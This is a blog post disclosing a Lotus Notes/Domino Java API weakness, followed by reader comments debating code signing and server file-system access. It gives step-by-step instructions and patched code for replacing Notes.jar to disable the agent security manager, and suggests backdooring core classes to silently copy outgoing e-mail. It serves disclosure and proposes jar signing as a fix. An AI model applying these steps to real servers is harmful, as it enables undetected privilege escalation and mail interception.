Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)

DISCLAIMER
The information below is provided as-is and I cannot be held liable for any damages, direct or indirect, caused by the information in this post or based on the below findings. The information here is offered in the interest of full disclosure. I have been working with IBM Lotus to diagnose and pinpoint the exact consequences of the below findings since May 2006.

Description

As you might know a central security measure in the Notes/Domino security infrastructure is the difference between restricted and unrestricted operations. Only users granted unrestricted access may perform sensitive operations such as disk I/O and manipulating the system clock. The implementation flaw I found in the Java API of Notes/Domino allows me to circumvent these restrictions and hence circumvent the security settings of the Domino server.

As such the guidelines given in this post could also be used to fully replace the Java API and perform additional operations without the knowledge of the owner of the Domino server or Notes client.

Prerequisites

  • Disk access to the Domino server or Notes client or be able to write an agent or other piece of code that may accomplish the task for you.

Steps to reproduce

Below I describe the steps necessary to circumvent the SecurityManager and/or hide malicious code.

  1. Obtain a copy of the Notes.jar file from the Domino server and copy it to a local workstation.
  2. Unpack the archive using the jar-command.
  3. Decompile the code (I used the JODE version 1.1.2-pre2 decompiler from http://jode.sourceforge.net)
  4. Using Eclipse, or similar, edit the code in the constructor of the lotus.notes.AgentSecurityContext class as shown below:
    public AgentSecurityContext(ThreadGroup threadgroup, boolean bool) {
      m_restricted = bool;
      m_file_read = true;
      m_file_write = true;
      m_net_access = true;
      m_class_loader = true;
      m_extern_exec = true;
      m_native_link = true;
      m_system_props = true;
    
      try {
        AgentSecurityManager agentsecuritymanager = (AgentSecurityManager) System
          .getSecurityManager();
        if (agentsecuritymanager != null)
        agentsecuritymanager.newSecurityContext(this, threadgroup);
       } catch (ClassCastException classcastexception) {
         /* empty */
       }
    }
    
  5. Compile the class and replace the version from the unpacked Notes.jar
  6. Create a new Notes.jar with the manipulated code and replace the Notes.jar on the server. You might have to shutdown the server/client to be able to replace the file.

Using a Domino server in a virtual machine I created a text file called readme.txt in the root of the c-drive on the server and ran the below agent as scheduled on the server. The agent tries to read data from the readme.txt file in the root of the c-drive on the local server (Windows 2000 Server). As expected the JVM throws a java.lang.SecurityException using the Notes.jar supplied with the Domino installation. If I replace the Notes.jar supplied by IBM with my manipulated Notes.jar the agent runs to completion without any incident thus circumventing the security measures put in place by the Domino server.

import lotus.domino.*;
import java.io.*;

public class JavaAgent extends AgentBase {
   public void NotesMain() {
      try {
         Session session = getSession();
         AgentContext agentContext = session.getAgentContext();

         System.out.println("Starting to run agent...");
         FileReader r = new FileReader("c:\readme.txt");
         StringBuffer buffer = new StringBuffer();
         char[] data = new char[128];
         r.read(data, 0, 127);
         buffer.append(data);
         System.out.println("File data: " + buffer.toString());
         r.close();

      } catch(Exception e) {
         e.printStackTrace();
      }

      System.out.println("Done running agent...");
   }
}

Consequences

One thing is being able to circumvent the restricted/unrestricted security measure of the Domino server. Another thing is that this can be done without the administrator or users knowing about it.

As mentioned above you might even be able to use the steps to replace some of the core classes (such as the class implementing the Document interface). By doing this you could have the manipulated class send you a copy of all e-mails generated using the Document.send() method or to add a specific user to all reader/author fields being written to documents.

This should be possible since all the Domino API types are interfaces and as such are open for re-implementation. It does however also mean that you have to manipulate the factory methods of the API.

I must stress that I haven’t tried this myself – yet…

Suggestions

Issues like this could be avoided by digitally signing the Notes.jar file provided by IBM and have the Domino server and Notes client verify the signature of the jar-file before loading classes from it. Since a lock is placed on the jar-file by operating system once read (at least on Windows), the impact on performance should be minimal since the jar-file only needs to be checked once.

As an aside I can mention that some of the jar-files provided with the Domino server/Notes client are digitally signed by IBM already:

  • ibmjcefips.jar
  • ibmjceprovider.jar
  • ibmpkcs11.jar
  • ibmpkcs11impl.jar

Resources

10 thoughts on “Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)”

  1. Interesting! Thanks for reporting it.

    I would point out that there are many ways in which the Domino server security model depends on the physical security of the server computer itself. In other words, you should not have the ability to replace an executable file on the server, and if you in fact did not have that ability, your hack would not work.

    The same attack technique could really be applied to any module in anyone’s software (e.g., replace some DLL in Word, or whatever). Of course, the attacker’s task is made easier by the fact that it is very easy to decompile Java binaries. Perhaps IBM should think more about obfuscating.

    Like

  2. I would agree that obfuscating would be an obvious thing to do, but primarily to make the jar-file smaller. I really do not like security by obscurity – I would rather that IBM signed the jar-file and allowed you to have the JVM verify jar-files loaded through the built in classloader. It should also be able to verify third party jar-files but notes.jar is by far the most important.

    As to physical access the reason that I brought this to the attention of IBM is that it is an “attack” that’s very difficult to see. Most customers I work with will never check the notes.jar file to see if it’s the one supplied by IBM. A server task or extension (using the extension manager) you can see in the server console or in the notes.ini. A change to notes.jar would in almost every case go unnoticed.

    Like

  3. I think 99.99% of the JVM of J2EE Servers run with SecurityManager turned out.
    Tomcat runs by default with SecurityManager turned out.
    http://tomcat.apache.org/tomcat-5.5-doc/security-manager-howto.html
    Code signing isn’t taken very serious in this classical client-server environments. Its taken far more serious in jini, but there was not much market demand (except in certain sectors like investment banking where they actually send excecutable code around).

    Like

  4. Well I figured as much… 🙂

    IMHO the problem with developers not using SecurityManagers is only going to get bigger as more and more “traditional” software is written in Java as well.

    Like

  5. I can think of lots of ways to breach security by replacing nnotes.dll on a server. Of course, it wouldn’t be quite as easy as what you document here, but the truth is that if you can’t secure the filesystem that holds the exectutable code, you can’t secure anything. Signing notes.jar would fail as soon as someone figured out how to hack the DLL code that validates the signature. Sign that DLL code, and the next target for the hacker will be whatever code validates that signature.

    Like

  6. Again: If you take a look on other environments, signing server-side code is very uncommon.
    There is no or very little code signing in PHP, fat client DB programming, perl, J2EE, etc.
    Although in Java there is a security manager deeply included in the language and an infrastructure for code signing, authorization of signed code, etc, all this stuff is very,very rarely used for server side code and maybe for a good reason.
    Its an issue in Applets. But Applets means that the client downloads excecutable code while surfing the internet and thats a completly different story than just communicating with a server over a protocol.
    I know its a big issue in jini (all I know about jini is from 3-part interview of Dick Walls from javaposse some month ago). Jini also has this strong focus on distribute excecutable code.
    Making list even a bit longer, in Eclipse-plug-ins / RCP the whole code signing issue isn’t a prominent issue neither btw. If you download a new plug-in you are asked to trust the organization which has created the code. Thats all, afaik.
    Its allways a question if the aditional hazzle is worth this specific security feature. And that is very dependent on the specific circumstances.

    Like

  7. I think you have to approach this subject from two perspectives. One is the way we can handle it when dealing with server-side software such as J2EE or PHP applications. The other side to the story is client software where you have much less control over how the software is executed. While I agree that is it more safe to not sign server side code than client side code but that doesn’t mean that code signing doesn’t have its place. I would really like all code to be signed as a general rule. Much like it is in Notes.

    I think the real reason code signing is being ignored or why it isn’t being used, is due to the cost of purchasing and maintaining code signing certificates.

    You’re right that code signing isn’t taken serious in Sametime plugins either. I would really like a way to either not allow users to download new plugins or not download plugins signed by a specific certificate. Much like it is possible to lock down the Notes workstation using ECL at present.

    Like

  8. This exploit requires access to server’s file system, which by definition is restricted to network administrators. If someone got access to the file system, they could do much more damage than replacing a Notes.jar file. They could copy the server.id file and sign their own agents as they wish, especially considering that server’s id file is not password-protected.

    I guess IBM will not fix this in the near future because:
    1) Your own fault that server’s file system is not protected from unauthorized access.
    2) On client, users has full access anyway, so a flawed agent is far less harmfull than a new free screensaver they downloaded yesterday from a link on warez site.

    Like

  9. “They could copy the server.id file and sign their own agents as they wish, especially considering that server’s id file is not password-protected.”

    Just to make this point very clear, for sure the server id *can* and *should* have a password. At least, if you go with Jack Dausman’s point of view.

    Like

Comments are closed.